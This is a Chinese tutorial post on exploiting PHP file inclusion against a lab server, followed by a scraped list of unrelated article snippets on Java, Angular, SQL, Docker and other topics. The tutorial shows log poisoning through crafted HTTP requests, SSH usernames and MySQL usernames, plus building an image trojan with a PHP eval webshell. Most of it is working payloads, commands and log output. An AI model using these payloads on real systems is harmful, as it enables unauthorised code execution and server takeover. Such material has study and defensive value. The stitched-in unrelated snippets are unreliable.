文件包含漏洞(3),日志利用, 图片木马利用
日志利用, 图片木马利用
一, 利用服务器日志
通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.
apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log
首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.
实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log
由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log
就会记录, 再使用文件包含漏洞包含日志文件来执行代码.
http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>
查看access_log日志:
[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"
这里可以看到符号被浏览器转码了, 因此无法执行代码.
那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.
方式1: 不使用双引号
, 需要去掉php
和空格
.
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1
查看access_log日志:
[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033
这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号
, 好处是可以包含更复杂的代码.
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1
查看access_log日志:
[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961
利用漏洞:
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_logpost data:
cmd=phpinfo();
二, 利用ssh或mysql的登录日志
1. linux默认的登录日志:
/var/log/secure
日志文件对其他用户有可读权限
正常登录:
ssh root@192.168.112.200
因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:
ssh "<?phpinfo();?>"@192.168.112.200
查看日志:
Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]
这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:
http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志
原理与ssh日志利用一样.
mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:
general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file
日志文件对其他用户有可读权限
假设日志的路径:
/opt/lampp/logs/mysql.log
正常登录:
mysql -u root -p -h 192.168.112.200
将用户名替换成恶意代码:
mysql -u "<?phpinfo();?>" -p -h 192.168.112.200
利用文件包含漏洞执行代码:
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log
3. 图片木马
准备图片和php文件, 使用cmd中的copy命令合并.
例如:
mm.php文件:
<?php @eval($_GET['cmd']); ?>
命令:
copy src.jpg/b + mm.php/a p_mm.jpg
以上命令将src.jpg
与mm.php
合并, 生成图片p_mm.jpg
将木马图片上传到服务器, 利用文件包含漏洞执行代码:
http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
相关文章:
文件包含漏洞(3),日志利用, 图片木马利用
日志利用, 图片木马利用 一, 利用服务器日志 通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段. apache log: /opt/lampp/logs/access_log nginx log: /usr/local/nginx/logs/access.log 首先可以利用文件包含漏洞测试日志文件的内容是否可以显…...
java面试--线程总结
Java中有几种方式来创建线程执行任务,分别是什么? 1、继承Thread类 public class MyThread extends Thread{public static void main(String[] args) {MyThread myThread new MyThread();myThread.start();}Overridepublic void run() {System.out.pr…...
Angular-02:环境等说明
项目名不要带数字npm版本过低安装工具时加上版本号现项目完整的工具链:angular ngZorro rxjs ngrx sassvscode好用插件分享: 名称说明Auto Close Tag自动闭合html标签Auto Import自动引包(可自动生成文件路径提示方便文件导入࿰…...

pgsql 分组查询,每组取10条
需求: 按照表的字段分组,然后每组取10条结果,返回即可 sql 如下: SELECT* FROM (SELECT chk_id,feature_id,task_id, ROW_NUMBER () OVER (PARTITION BY chk_id ORDER BY chk_id) AS row_num FROM ics_check_report WHERE task…...

python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色,
python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色, 代码 import osimport numpy import pandas as pd import openpyxl from openpyxl.styles import Font from op…...

chatgpt论文润色 降重
用chatgpt最好要给他范例。chatgpt降重原理: https://www.bilibili.com/video/BV1Eh411M7Ug/?spm_id_from333.337.search-card.all.click&vd_sourceebc47f36e62b223817b8e0edff181613 一. 中文论文翻译成英文 1.1 直接翻译 你是一位广义零样本学习的专家&a…...

第四章 文件管理 七、文件共享
目录 一、基于索引结点的共享方式(硬链接) 1、知识回顾: 2、例子: 二、基于符号链的共享方式(软链接) 1、例子 三、总结 一、基于索引结点的共享方式(硬链接) 1、知识回顾: 索引结点,是一…...
带过期时间的localstorage封装
localstorage原本是不带过期时间的,xijs提供了一个带过期时间封装的store工具,但是用起来因为文档基本等于没有,所以干脆直接封装一个用,其中ttl是过期时间,以毫秒计算。 // 设置function setLocalStorageWithExpiry(…...

mac系统u盘启动盘制作教程,更新至macOS Sonoma 14
mac系统怎么制作装系统的u盘,如果您要在多台电脑上安装 macOS,而又不想每次都下载安装器,这时可引导安装器就会很有用。一起来看苹果电脑u盘启动盘制作教程吧。 Macos系统安装包合集包揽macos 10.15,macos 11和苹果最新系统等多个版本 1、A…...

基于单片机的智能电子鼻的设计
欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 技术交流认准下方 CSDN 官方提供的联系方式 文章目录 概要 一、智能电子鼻系统的设计方案1.1智能电子鼻系统的设计思路1.2智能电子鼻系统的设计流程图1.3智能电子鼻系统的硬件数…...
代码随想录图论 第三天 | 130. 被围绕的区域 417. 太平洋大西洋水流问题
代码随想录图论 第三天 | 130. 被围绕的区域 417. 太平洋大西洋水流问题 一、130. 被围绕的区域 题目链接:https://leetcode.cn/problems/surrounded-regions/ 思路:题目要求沾边的不动,只改没沾边的,那么可以先dfs遍历4条边&am…...

二、【常用的几种抠图方式一】
文章目录 选框抠图快速选择工具抠图魔棒工具抠图对象选择工具抠图套索工具抠图多边形套索工具抠图磁性套索工具抠图 选框抠图 选框工具抠图适合规则的图形,如下图先使用选框工具框出对象的图轮廓,然后再选择并遮住在里边擦出图形的边缘,根据…...

常见面试题-MySQL专栏(一)
为什么 mysql 删了行记录,反而磁盘空间没有减少? 答: 在 mysql 中,当使用 delete 删除数据时,mysql 会将删除的数据标记为已删除,但是并不去磁盘上真正进行删除,而是在需要使用这片存储空间时&…...

使用Docker部署Apache Superset并实现公网远程访问
大数据可视化BI分析工具Apache Superset实现公网远程访问 文章目录 大数据可视化BI分析工具Apache Superset实现公网远程访问前言1. 使用Docker部署Apache Superset1.1 第一步安装docker 、docker compose1.2 克隆superset代码到本地并使用docker compose启动 2. 安装cpolar内网…...

buuctf_练[CISCN2019 华东南赛区]Web4
[CISCN2019 华东南赛区]Web4 文章目录 [CISCN2019 华东南赛区]Web4掌握知识解题思路代码分析正式解题 关键paylaod 掌握知识 根据url地址传参结构来判断php后端还是python后端;uuid.getnode()函数的了解,可以返回主机MAC地址十六进制;pyt…...

国际腾讯云直播推流配置教程!
云直播的服务本质是一个广播的过程,类似于电视台的直播节目通过有线电视网发送给千家万户。为了完成这个过程,云直播需要有采集和推流设备(类似摄像头)、云直播服务(类似电视台的有线电视网)和播放设备&…...
RocketMQ与Kafka差异对比:从架构到性能细节,解析两者在可靠性、扩展性和可用性等方面的优劣
淘宝内部的交易系统使用了淘宝自主研发的Notify消息中间件,使用Mysql作为消息存储媒介,可完全水平扩容,为了进一步降低成本,我们认为存储部分可以进一步优化,2011年初,Linkin开源了Kafka这个优秀的消息中间…...

【数智化人物展】同方有云联合创始人兼总经理江琦:云计算,引领数智化升级的动能...
江琦 本文由同方有云联合创始人兼总经理江琦投递并参与《2023中国企业数智化转型升级先锋人物》榜单/奖项评选。 数据智能产业创新服务媒体 ——聚焦数智 改变商业 在这个飞速发展的数字时代,我们置身于一个前所未有的机遇与挑战并存的时刻。数字化转型不再仅仅是一…...

SpringMVC Day 03 : 处理静态资源
前言 欢迎来到第三天的 SpringMVC 学习系列!在前两天的教程中,我们已经学习了如何搭建 SpringMVC 环境、创建控制器和处理请求等基础知识。今天,我们将继续探索 SpringMVC 的功能,并学习如何处理静态资源。 在现代 Web 应用程序…...

activiti 用户任务中的执行监听器
前言 略 用户任务中的执行监听器配置界面 监听器事件 用户任务中的执行监听器可以监听到的事件有: start:开始时触发。end:结束时触发。take:执行时触发。 监听器执行方式 监听器的执行方式: 类(classÿ…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...

理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...

页面渲染流程与性能优化
页面渲染流程与性能优化详解(完整版) 一、现代浏览器渲染流程(详细说明) 1. 构建DOM树 浏览器接收到HTML文档后,会逐步解析并构建DOM(Document Object Model)树。具体过程如下: (…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈
在日常iOS开发过程中,性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期,开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发,但背后往往隐藏着系统资源调度不当…...
HTML前端开发:JavaScript 获取元素方法详解
作为前端开发者,高效获取 DOM 元素是必备技能。以下是 JS 中核心的获取元素方法,分为两大系列: 一、getElementBy... 系列 传统方法,直接通过 DOM 接口访问,返回动态集合(元素变化会实时更新)。…...
Docker拉取MySQL后数据库连接失败的解决方案
在使用Docker部署MySQL时,拉取并启动容器后,有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致,包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因,并提供解决方案。 一、确认MySQL容器的运行状态 …...
32单片机——基本定时器
STM32F103有众多的定时器,其中包括2个基本定时器(TIM6和TIM7)、4个通用定时器(TIM2~TIM5)、2个高级控制定时器(TIM1和TIM8),这些定时器彼此完全独立,不共享任何资源 1、定…...
[USACO23FEB] Bakery S
题目描述 Bessie 开了一家面包店! 在她的面包店里,Bessie 有一个烤箱,可以在 t C t_C tC 的时间内生产一块饼干或在 t M t_M tM 单位时间内生产一块松糕。 ( 1 ≤ t C , t M ≤ 10 9 ) (1 \le t_C,t_M \le 10^9) (1≤tC,tM≤109)。由于空间…...